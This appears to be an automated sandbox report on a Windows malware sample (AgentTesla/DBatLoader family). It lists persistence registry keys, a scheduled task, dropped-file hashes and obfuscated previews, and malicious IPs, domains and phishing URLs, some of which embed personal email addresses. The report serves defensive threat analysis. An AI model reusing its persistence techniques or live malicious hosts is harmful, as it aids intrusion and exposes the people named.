Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target TrojanAIbot.exe, PID 6628 because it is empty
Execution Graph export aborted for target neworigin.exe, PID 5328 because it is empty
Execution Graph export aborted for target powershell.exe, PID 3132 because it is empty
Execution Graph export aborted for target server_BTC.exe, PID 1268 because it is empty
Execution Graph export aborted for target server_BTC.exe, PID 2532 because it is empty
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: x.exe

Simulations

Behavior and APIs

Time	Type	Description
09:54:59	API Interceptor	2x Sleep call for process: x.exe modified
09:55:11	API Interceptor	5974887x Sleep call for process: neworigin.exe modified
09:55:12	API Interceptor	16x Sleep call for process: powershell.exe modified
09:55:13	API Interceptor	2923500x Sleep call for process: TrojanAIbot.exe modified
09:55:20	API Interceptor	2x Sleep call for process: Wisrysxl.PIF modified
15:55:11	Task Scheduler	Run new task: AccSys path: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe
15:55:11	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Wisrysxl C:\Users\Public\Wisrysxl.url
15:55:19	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Wisrysxl C:\Users\Public\Wisrysxl.url
15:55:28	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\TrojanAIbot.exe.lnk

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
198.252.105.91	DHL-INVOICE-MBV.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.legaldanaa.com/d0ad/?jXu=gWBUvkz7Th1w/4or5wJyBYQATVQKYMhDH/gPz8FNlyuh7t8wp+tSlul7hgK6xuyfJYQ1BxvuzK7AKBkx6IgPVHnLyXh5nXmxBA==&hZ=5jUpdPs
104.26.13.205	2b7cu0KwZl.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	file.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	api.ipify.org/
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	api.ipify.org/
	file.exe	Get hash	malicious	RDPWrap Tool	Browse	api.ipify.org/
	Prismifyr-Install.exe	Get hash	malicious	Node Stealer	Browse	api.ipify.org/
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	api.ipify.org/
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Vidar	Browse	api.ipify.org/
	file.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Stealc, Vidar	Browse	api.ipify.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s82.gocheapweb.com	neworigin.exe	Get hash	malicious	AgentTesla	Browse	51.195.88.199
	TC_Ziraat_Bankasi_Hesap_Ekstresi.cmd	Get hash	malicious	AgentTesla, DBatLoader	Browse	51.195.88.199
	Ziraat_Bankasi_Swift_Mesaji_DXB04958T.bat	Get hash	malicious	AgentTesla, DBatLoader	Browse	51.195.88.199
	New_Order_PO_GM5637H93.exe	Get hash	malicious	AgentTesla, PureLog Stealer, RedLine, XWorm	Browse	51.195.88.199
	New_Order_PO_GM5637H93.cmd	Get hash	malicious	AgentTesla, DBatLoader	Browse	51.195.88.199
	AENiBH7X1q.exe	Get hash	malicious	PureLog Stealer, RedLine	Browse	51.195.88.199
	New_Order_568330_Material_Specifications.exe	Get hash	malicious	AgentTesla, MassLogger RAT, Phoenix Stealer, RedLine, SugarDump, XWorm	Browse	51.195.88.199
	RFQ_PO-GGA7765JK09_MATERIALS_SPECIFICATIONS.scr.exe	Get hash	malicious	PureLog Stealer, RedLine	Browse	51.195.88.199
	PO-DGA77_MATERIALS_SPECIFICATIONS.scr.exe	Get hash	malicious	PureLog Stealer, RedLine	Browse	51.195.88.199
	PO-NBQ73652_ORDER_T637MOO746_MATERIALS_SIZES-PDF.scr.exe	Get hash	malicious	PureLog Stealer, RedLine	Browse	51.195.88.199
api.ipify.org	neworigin.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	TC_Ziraat_Bankasi_Hesap_Ekstresi.cmd	Get hash	malicious	AgentTesla, DBatLoader	Browse	104.26.13.205
	Booking_0731520.vbe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	Purchase order.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	https://www.canva.com/design/DAGV5ZsI2aM/Y4DbzinsvfGp5Ll4c_oJJQ/view?utm_content=DAGV5ZsI2aM&utm_campaign=designshare&utm_medium=link&utm_source=editor	Get hash	malicious	Unknown	Browse	104.26.13.205
	Ziraat_Bankasi_Swift_Mesaji_DXB04958T.bat	Get hash	malicious	AgentTesla, DBatLoader	Browse	104.26.12.205
	Swift Copy.bat.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	104.26.13.205
	Pago por adelantado_ USD 72000 (50%).exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	SWIFTCOPY202973783.vbe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	Quotation.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	172.67.74.152
gxe0.com	TC_Ziraat_Bankasi_Hesap_Ekstresi.cmd	Get hash	malicious	AgentTesla, DBatLoader	Browse	198.252.105.91
	Ziraat_Bankasi_Swift_Mesaji_DXB04958T.bat	Get hash	malicious	AgentTesla, DBatLoader	Browse	198.252.105.91
	NEOMS_EOI_FORM.cmd	Get hash	malicious	DBatLoader	Browse	198.252.105.91
	NEOMS_EOI_FORM.GZ	Get hash	malicious	DBatLoader	Browse	198.252.105.91
	New_Order_PO_GM5637H93.cmd	Get hash	malicious	AgentTesla, DBatLoader	Browse	198.252.105.91
pywolwnvd.biz	TC_Ziraat_Bankasi_Hesap_Ekstresi.cmd	Get hash	malicious	AgentTesla, DBatLoader	Browse	54.244.188.177
	Ziraat_Bankasi_Swift_Mesaji_DXB04958T.bat	Get hash	malicious	AgentTesla, DBatLoader	Browse	54.244.188.177
	AENiBH7X1q.exe	Get hash	malicious	PureLog Stealer, RedLine	Browse	54.244.188.177
	E_dekont.cmd	Get hash	malicious	DBatLoader, Nitol, PureLog Stealer, XWorm	Browse	54.244.188.177
	Y2EM7suNV5.exe	Get hash	malicious	MassLogger RAT	Browse	54.244.188.177
	AsusSetup.exe	Get hash	malicious	Unknown	Browse	54.244.188.177
	SetupRST.exe	Get hash	malicious	Unknown	Browse	54.244.188.177
	AsusSetup.exe	Get hash	malicious	Unknown	Browse	54.244.188.177
	RFQ_PO-GGA7765JK09_MATERIALS_SPECIFICATIONS.scr.exe	Get hash	malicious	PureLog Stealer, RedLine	Browse	54.244.188.177
	PO-DGA77_MATERIALS_SPECIFICATIONS.scr.exe	Get hash	malicious	PureLog Stealer, RedLine	Browse	54.244.188.177

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
HAWKHOSTCA	TC_Ziraat_Bankasi_Hesap_Ekstresi.cmd	Get hash	malicious	AgentTesla, DBatLoader	Browse	198.252.105.91
	Ziraat_Bankasi_Swift_Mesaji_DXB04958T.bat	Get hash	malicious	AgentTesla, DBatLoader	Browse	198.252.105.91
	NEOMS_EOI_FORM.cmd	Get hash	malicious	DBatLoader	Browse	198.252.105.91
	NEOMS_EOI_FORM.GZ	Get hash	malicious	DBatLoader	Browse	198.252.105.91
	New_Order_PO_GM5637H93.cmd	Get hash	malicious	AgentTesla, DBatLoader	Browse	198.252.105.91
	Shipping documents..exe	Get hash	malicious	FormBook	Browse	198.252.98.54
	SALARY OF OCT 2024.exe	Get hash	malicious	FormBook	Browse	198.252.98.54
	PURCHASE ORDER-6350.exe	Get hash	malicious	FormBook	Browse	198.252.106.191
	https://hy.markkasmick.click/cx/tbSgVco_akr35UznLBgMmL_dGwr4A9B_vyg2WwEB0w1LRjKjQMyEnB89mCfTRy8oqnbpdFunqinBhx0TsHvSJdUHnbksc3kdcKecoDvVHa5LAm46atMmRo3D2CHoEu2bmOqt4Ic8O_7AE7Igwgbi5c8zmZf6Fqp_XqcjREPr7609oL7vKm8FfjGLhMetr2oxtpR3ywH4BUElgc7EI7usxj8CJYEUMktwlb7YUzPvYQ7P1PilEV0LqiXI5sm6QVF4ZGl5TIXhnQLOG0kl6WQ0miiZysBfhaNojnPTUvisUUkwOp2fYTxkXEIhZ7ESJ7qXYLxQbmy4RJVeZZZ3RY5rX8W5t8cudSM9Zx7UaxgLH56aOv81v4QfUnzroT9v7LR3jPEjzYXr2LwuykYQnzvV6boWlogU4jkPE6MocRRlRoC6uUx2e1Wseo8MqGWTT2uXo4HbQDneiMF84sQ34*3TnbAxXWu8xLbb_mAOQxUTA3T5TUUZKeU3ziolM8TSVV5Y5LQTFGtNArddwJKdWCb_cLYMxUJpZ3cqM_A	Get hash	malicious	Unknown	Browse	198.252.106.147
	Z6s208B9QX.exe	Get hash	malicious	FormBook	Browse	198.252.106.191
CLOUDFLARENETUS	neworigin.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	https://sites.google.com/worth.com/rfp/home	Get hash	malicious	Unknown	Browse	188.114.96.3
	https://account-service.fr/PSTPNL/postal1	Get hash	malicious	Unknown	Browse	104.21.95.157
	TC_Ziraat_Bankasi_Hesap_Ekstresi.cmd	Get hash	malicious	AgentTesla, DBatLoader	Browse	104.26.13.205
	https://mazans.com/WEB-ID-5672849687924/zerobot?email=Francois.barbeau@staples.ca	Get hash	malicious	Captcha Phish	Browse	104.26.5.39
	https://funpresc.pe.gov.br/976823/secure-redirect/index.html#Francois.barbeau+staples.ca%20%20https://mazans.com/WEB-ID-5672849687924/zerobot?email=Francois.barbeau@staples.ca	Get hash	malicious	Captcha Phish	Browse	172.67.72.174
	E7X-XIZ5.eml	Get hash	malicious	Unknown	Browse	104.18.95.41
	Scan12112024,pdf.vbs	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	http://track.reviewmgr.com/ls/click?upn=u001.W5y-2Fhe84rCuLxXDO470nfuKD2Iz98QeQpE-2BkxRR0H-2BqB5cDKklujIJ5FLru7QrAASOSa17vR-2FSCLVAx4lWyy5Q-3D-3DkaP7_Yp4ydSxZWNatis3HtI6bBrJjg57JYwT6kbyY2f89Z-2FBhxNJZyCBl9w6yXNV0YfiKUAGjaILaAN0mF43Ydvv3aAXjCPBMrYvHXhqj-2F90M8IWSluK-2FDr0h4-2FIbAXpExZIWOjtRSKBCrpvm-2BHKZd6Q2itOPvvv8Wh8uHJq1rbQgzA8HMkQB3GP7mtgLvWqf-2F2SUC5eKSSwLqPZnnofRHoc7cSU1xfupfl4il6cb3-2BSKrTYe1odI0Jq1F3XJEtoagDhZ-2B0poPJjuweCyekPO2Y39xfy8FdwLLvVUma4NgVhDhlM-3D	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://t.ly/SjDNX	Get hash	malicious	Python Stealer, Braodo	Browse	162.159.61.3
OVHFR	neworigin.exe	Get hash	malicious	AgentTesla	Browse	51.195.88.199
	TC_Ziraat_Bankasi_Hesap_Ekstresi.cmd	Get hash	malicious	AgentTesla, DBatLoader	Browse	51.195.88.199
	https://sharepoint-business.com/?rid=eprRhgr	Get hash	malicious	Unknown	Browse	51.178.43.144
	http://matomo.uk.oxa.cloud	Get hash	malicious	Unknown	Browse	51.195.180.103
	zgp.elf	Get hash	malicious	Mirai	Browse	51.222.237.206
	mNtu4X8ZyE.exe	Get hash	malicious	Emotet	Browse	51.75.33.127
	75A0VTo3z9.exe	Get hash	malicious	Emotet	Browse	46.105.114.137
	Ziraat_Bankasi_Swift_Mesaji_DXB04958T.bat	Get hash	malicious	AgentTesla, DBatLoader	Browse	51.195.88.199
	https://klick.publikator.se/?BREV_ID=592&EPOST=kent.isaksson@platspecialisten.se&URL=https://link.mail.tailwindapp.com/c/443/65791c056ee100f6e0b1ce0da6ffd5aaa4304af6d9041064814b00b317faceea	Get hash	malicious	HTMLPhisher	Browse	192.99.218.232
	RFQ_TFS-1508-AL NASR userING.exe	Get hash	malicious	RedLine	Browse	193.70.111.186

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	neworigin.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	TC_Ziraat_Bankasi_Hesap_Ekstresi.cmd	Get hash	malicious	AgentTesla, DBatLoader	Browse	104.26.13.205
	https://webconference.protected-forms.com/XaGFyNXNiVFNRd1VaOFBwaER2WW5KM1V1S1NLSzZZZDhjN3NKVC9oV2lCRlNRWmVpbVlYY0JzbS81VUd0czRzOHNRWWNGSndpSCtxMm15d3h6SnFIS0VpR2NHcHh2MWo5Nm1wM3lROHdlakpZdnVWYUpHZDJ2LzVyV1ljWjZuK2pHcTByTjRWRm1IRnpPSnVmUFI0TVk2dHN5L1Yxdko0Y01WeHZYck1iM2tvc3l4YVdqSlZabWl2Y0ZwLzQtLVZvU05jS1M1U0FEQjZZeHUtLUw3WXM4dkFWa2t2YTRLMXJEYTRIbGc9PQ==?cid=2270944670	Get hash	malicious	KnowBe4	Browse	104.26.13.205
	HvOPtSE7cm.dll	Get hash	malicious	ElizaRAT	Browse	104.26.13.205
	Scan12112024,pdf.vbs	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.26.13.205
	9LrEuTWP8s.exe	Get hash	malicious	Meduza Stealer, PureLog Stealer, RedLine, zgRAT	Browse	104.26.13.205
	HAeAec7no3.exe	Get hash	malicious	Meduza Stealer, PureLog Stealer, RedLine, zgRAT	Browse	104.26.13.205
	EUFOvMxM2H.exe	Get hash	malicious	Meduza Stealer, PureLog Stealer, RedLine, zgRAT	Browse	104.26.13.205
	https://customization-connect-7617.my.salesforce.com/sfc/p/d3000000Byor/a/d300000000RR/ML8ajzoJU6aJIvGQZGZ6S9rRHpaD1XaytKzcNGEf56g	Get hash	malicious	HTMLPhisher	Browse	104.26.13.205
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	104.26.13.205
a0e9f5d64349fb13191bc781f81f42e1	TC_Ziraat_Bankasi_Hesap_Ekstresi.cmd	Get hash	malicious	AgentTesla, DBatLoader	Browse	198.252.105.91
	Scan12112024,pdf.vbs	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	198.252.105.91
	Booking_0731520.vbe	Get hash	malicious	AgentTesla	Browse	198.252.105.91
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	198.252.105.91
	Payment advice_USD75,230.18.xls	Get hash	malicious	Unknown	Browse	198.252.105.91
	Scan12112024,pdf.vbs	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	198.252.105.91
	file.exe	Get hash	malicious	LummaC	Browse	198.252.105.91
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	198.252.105.91
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	198.252.105.91
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	198.252.105.91

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\Public\Libraries\lxsyrsiW.pif	TC_Ziraat_Bankasi_Hesap_Ekstresi.cmd	Get hash	malicious	AgentTesla, DBatLoader	Browse
	Ziraat_Bankasi_Swift_Mesaji_DXB04958T.bat	Get hash	malicious	AgentTesla, DBatLoader	Browse
	NEOMS_EOI_FORM.cmd	Get hash	malicious	DBatLoader	Browse
	NEOMS_EOI_FORM.GZ	Get hash	malicious	DBatLoader	Browse
	r876789878767.cmd	Get hash	malicious	DBatLoader, FormBook	Browse
	2tKeEoCCCw.exe	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger	Browse
	New_Order_PO_GM5637H93.cmd	Get hash	malicious	AgentTesla, DBatLoader	Browse
	E_dekont.cmd	Get hash	malicious	DBatLoader, Nitol, PureLog Stealer, XWorm	Browse
	z1Transaction_ID_REF2418_cmd.bat	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse
	z1SWIFT_MT103_Payment_552016_cmd.bat	Get hash	malicious	DBatLoader, FormBook	Browse
C:\Users\Public\Libraries\Wisrysxl.PIF	TC_Ziraat_Bankasi_Hesap_Ekstresi.cmd	Get hash	malicious	AgentTesla, DBatLoader	Browse

Created / dropped Files

C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Download File

Process:	C:\Users\Public\Libraries\lxsyrsiW.pif
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1290240
Entropy (8bit):	5.27777578746112
Encrypted:	false
SSDEEP:	12288:mImGUcsvZZdubv7hfl3WXc3ajG+hjQKymY8efKCpD7Gj9G6G1qT8nQkCu83L3Wlb:mxGBcmlmsqjnhMgeiCl7G0nehbGZpbD
MD5:	53AD440DF43FFC879E3B05A7B0B31B23
SHA1:	5D5549FE850ADC0ACDB3B141D0DD2D8C0B38C8DC
SHA-256:	BA6CA839AA57FA9AF7C09F20A9DB215EED99A15E2A73C5AB231060F1676C75E9
SHA-512:	2FECBD193E36F5E718579E51091887628364BC9A341DDAEA4E3460702BC66EA0686C22D22E5541C3A892F917D3D32E50B31226FCA99D93CD8CDA8C726F6841F7
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........]...3...3...3...0...3...6.h.3.,.7...3.,.0...3.,.6...3...7...3...2...3...2.G.3.e.:...3.e....3.....3.e.1...3.Rich..3.................PE..L...}..d..........................................@..................................#......................................`D......................................@...p...........................p...@....................B.......................text.............................. ..`.rdata..t...........................@..@.data........`.......@..............@....didat..4............N..............@....rsrc................P..............@..@.reloc...`.......P...`..............@...........................................................................................................................................................................................................................................................

C:\Users\Public\Libraries\PNO

Download File

Process:	C:\Users\user\Desktop\x.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4
Entropy (8bit):	2.0
Encrypted:	false
SSDEEP:	3:X:X
MD5:	D268EDBA3F2644172D611AA9BC7A43A9
SHA1:	8B9A0675D33DC05DB3943960D5B1438970B6E591
SHA-256:	E603E189A414673BC741DF635271CD1B1EF25D8E3A1131DD0E847B632BBD4869
SHA-512:	48D46515E5CD50B0FC80EBB8437F61CC9FA5FE3102597B0CDC9653D363D71B639FA896A00286DEBBDEC19A7C8A27A66BA7E7B54C73563BB089D9A0BE4D9ACE30
Malicious:	false
Preview:	45..

C:\Users\Public\Libraries\Wisrysxl

Download File

Process:	C:\Users\user\Desktop\x.exe
File Type:	data
Category:	dropped
Size (bytes):	1921890
Entropy (8bit):	7.398856770638502
Encrypted:	false
SSDEEP:	49152:uFLsbSRbR4KUHq/dhv95pz9P8/P/lUtAQXI53D7/vwpU19uyXABAtIFBlZ:ULhRGYHKOBlZ
MD5:	34E82F30B12F324DB1D2604CFA91CBB2
SHA1:	20001D49CD86B776EE8072A07F536B7330A77F97
SHA-256:	F1821B6BA4856A51354BEED61C0F325D39901D70F9FF1792A63758FFEA32FCEF
SHA-512:	47ADC8F19359C4DC9E073C7A464E3F5F0367AC6A06BB6AA741AA06FE8BD762ADB86304415623FB411E69CACC573E66E6397689C47B7291747E057E5BF001C1C1
Malicious:	true
Preview:	...Y#..K..&$..'.#'...%.... %" ...... ..&.....&..$"%.#$'#....'...... '%.%!... .%.''"". "#".%..&.&........%........."!...#'....Y#..K.. .& %.. ...Y#..K.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j.........P.O..."..../....8....\..%.

C:\Users\Public\Libraries\Wisrysxl.PIF

Download File

Process:	C:\Windows\SysWOW64\esentutl.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1081856
Entropy (8bit):	6.9272903664814445
Encrypted:	false
SSDEEP:	24576:BJSK4Kavab3wMeAOr6ZFlR+gKT44VoIOL7zk:7K1WYL6L
MD5:	31BC6907D6097A76BB1DD891CFC09B7A
SHA1:	97340CA203A1207E492135D580C6860A724A227F
SHA-256:	F711703C8BA66DCEDB8E4B83F21A0425C528E278242C852FD5CF54BB43E30454
SHA-512:	6C217FA37CC4C655CDA0A2A491E49AC736E4940027178B3C7D6488D296923D40CC26A4D0142052B94B58491FA90F17AB3F4115CB0C75EFE09175E732D62DBBF5
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 29%
Joe Sandbox View:	Filename: TC_Ziraat_Bankasi_Hesap_Ekstresi.cmd, Detection: malicious, Browse
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................0...N......\G.......P....@.......................... ...................@..............................6%..............................0r..................................................................................text....&.......(.................. ..`.itext.......@.......,.............. ..`.data........P.......4..............@....bss.....6...p.......R...................idata..6%.......&...R..............@....tls....4............x...................rdata...............x..............@..@.reloc..0r.......t...z..............@..B.rsrc...............................@..@............. ......................@..@................................................................................................

C:\Users\Public\Libraries\lxsyrsiW.cmd

Download File

Process:	C:\Users\user\Desktop\x.exe
File Type:	DOS batch file, Unicode text, UTF-8 text, with very long lines (324), with CRLF line terminators
Category:	dropped
Size (bytes):	62357
Entropy (8bit):	4.705712327109906
Encrypted:	false
SSDEEP:	768:KwVRHlxGSbE0l9swi54HlMhhAKHwT6yQZPtQdtyWNd/Ozc:LbeSI0l9swahhhtwT6VytHNdGzc
MD5:	B87F096CBC25570329E2BB59FEE57580
SHA1:	D281D1BF37B4FB46F90973AFC65EECE3908532B2
SHA-256:	D08CCC9B1E3ACC205FE754BAD8416964E9711815E9CEED5E6AF73D8E9035EC9E
SHA-512:	72901ADDE38F50CF6D74743C0A546C0FEA8B1CD4A18449048A0758A7593A176FC33AAD1EBFD955775EEFC2B30532BCC18E4F2964B3731B668DD87D94405951F7
Malicious:	false
Preview:	@echo off..@echo off..@%.......%e%..%c%...%h%.... ...%o%........% %.%o%.....%f%...%f% ........%..s%.%e%.... %t%r.o......% %....%"%.........%l%.......o.%V%......%W%.....o%a%..........%=%.o....%s%. .o%e%. ....... %t%.% %..%"%.r%..%lVWa%"%......%u%. .%p%.%w%.... %u%.... o...%=%..... %=%... . . %"%.%..%lVWa%"%....%R%.%b%. .... %U%. %p%.%z%...%n% ...%n%...%f%..... . ..%W%.......%i%......%%upwu%C%. .. %l%...%o%........%a%......%"% .... %..%lVWa%"% %r%......%M%....%S%...r... ..%o%....... .%w%.....%X%.....rr%I%..... .

C:\Users\Public\Libraries\lxsyrsiW.pif

Download File

Process:	C:\Users\user\Desktop\x.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	68096
Entropy (8bit):	6.328046551801531
Encrypted:	false
SSDEEP:	1536:lR2rJpByeL+39Ua1ITgA8wpuO5CU4GGMGcT4idU:lR2lg9Ua1egkCU60U
MD5:	C116D3604CEAFE7057D77FF27552C215
SHA1:	452B14432FB5758B46F2897AECCD89F7C82A727D
SHA-256:	7BCDC2E607ABC65EF93AFD009C3048970D9E8D1C2A18FC571562396B13EBB301
SHA-512:	9202A00EEAF4C5BE94DE32FD41BFEA40FC32D368955D49B7BAD2B5C23C4EBC92DCCB37D99F5A14E53AD674B63F1BAA6EFB1FEB27225C86693EAD3262A26D66C6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Joe Sandbox View:	Filename: TC_Ziraat_Bankasi_Hesap_Ekstresi.cmd, Detection: malicious, Browse Filename: Ziraat_Bankasi_Swift_Mesaji_DXB04958T.bat, Detection: malicious, Browse Filename: NEOMS_EOI_FORM.cmd, Detection: malicious, Browse Filename: NEOMS_EOI_FORM.GZ, Detection: malicious, Browse Filename: r876789878767.cmd, Detection: malicious, Browse Filename: 2tKeEoCCCw.exe, Detection: malicious, Browse Filename: New_Order_PO_GM5637H93.cmd, Detection: malicious, Browse Filename: E_dekont.cmd, Detection: malicious, Browse Filename: z1Transaction_ID_REF2418_cmd.bat, Detection: malicious, Browse Filename: z1SWIFT_MT103_Payment_552016_cmd.bat, Detection: malicious, Browse
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................................................................................................................................................................................................................................................................................PE..L....8.......................p....................@.............................................. ...................p.......`...............................................................P.......................................................text............................... ..`.data....p.......0..................@....tls.........@......................@....rdata.......P......................@..P.idata.......`......................@..@.edata.......p......................@..@

C:\Users\Public\Wisrysxl.url

Download File

Process:	C:\Users\user\Desktop\x.exe
File Type:	MS Windows 95 Internet shortcut text (URL=<file:"C:\\Users\\Public\\Libraries\\Wisrysxl.PIF">), ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	104
Entropy (8bit):	5.094576921115185
Encrypted:	false
SSDEEP:	3:HRAbABGQYmTWAX+rSF55i0XM6tZsbxH+95ov:HRYFVmTWDyzPtZEx22v
MD5:	E2B7BE259ACDD6088895958CAB9567B8
SHA1:	BACD585BD1D363629B1B8C10285711313D1D51E5
SHA-256:	1EC3D3D43F061F2E990D0B59F4B8F798C90D81F30F5B5363FE2F6B88386F1DB9
SHA-512:	A54A88368C805B997E266C8EA4C7417B0AAC30A0A5A0E7FF4885009F490FCC4D982554CFF5205F8F1D140D6260D3D346380199128AEF3F0239C1F193CF3F1316
Malicious:	true
Preview:	[InternetShortcut]..URL=file:"C:\\Users\\Public\\Libraries\\Wisrysxl.PIF"..IconIndex=957720..HotKey=80..

C:\Users\Public\alpha.pif

Download File

Process:	C:\Windows\SysWOW64\esentutl.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	236544
Entropy (8bit):	6.4416694948877025
Encrypted:	false
SSDEEP:	6144:i4VU52dn+OAdUV0RzCcXkThYrK9qqUtmtime:i4K2B+Ob2h0NXIn
MD5:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
SHA1:	4048488DE6BA4BFEF9EDF103755519F1F762668F
SHA-256:	4D89FC34D5F0F9BABD022271C585A9477BF41E834E46B991DEAA0530FDB25E22
SHA-512:	80E127EF81752CD50F9EA2D662DC4D3BF8DB8D29680E75FA5FC406CA22CAFA5C4D89EF2EAC65B486413D3CDD57A2C12A1CB75F65D1E312A717D262265736D1C2
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........+.l.J.?.J.?.J.?.2(?.J.?.!.>.J.?.!.>.J.?.J.?.K.?.!.>.J.?.!.>.J.?.!.>.J.?.!D?.J.?.!.>.J.?Rich.J.?................PE..L....~.............................. k............@..................................j....@.................................................................p...%...5..T............................................................................text............................... ..`.data...8...........................@....idata...$.......&..................@..@.didat..H...........................@....rsrc...............................@..@.reloc...%...p...&...v..............@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\TrojanAIbot.exe.log

Download File

Process:	C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	410
Entropy (8bit):	5.361827289088002
Encrypted:	false
SSDEEP:	12:Q3La/hhkvoDLI4MWuCqDLI4MWuPTAq1KDLI4M6:MLUE4K5E4KH1qE4j
MD5:	64A2247B3C640AB3571D192DF2079FCF
SHA1:	A17AFDABC1A16A20A733D1FDC5DA116657AAB561
SHA-256:	87239BAD85A89EB90322C658DFD589B40229E57F05B181357FF834FCBABCB7E2
SHA-512:	CF71FE05075C7CAE036BD1B7192B8571C6F97A32209293B54FAEC79BAE0B6C3369946B277CE2E1F0BF455BF60FA0E8BB890E7E9AAE9137C79AB44C9C3D406D35
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\server_BTC.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\server_BTC.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	410
Entropy (8bit):	5.361827289088002
Encrypted:	false
SSDEEP:	12:Q3La/hhkvoDLI4MWuCqDLI4MWuPTAq1KDLI4M6:MLUE4K5E4KH1qE4j
MD5:	64A2247B3C640AB3571D192DF2079FCF
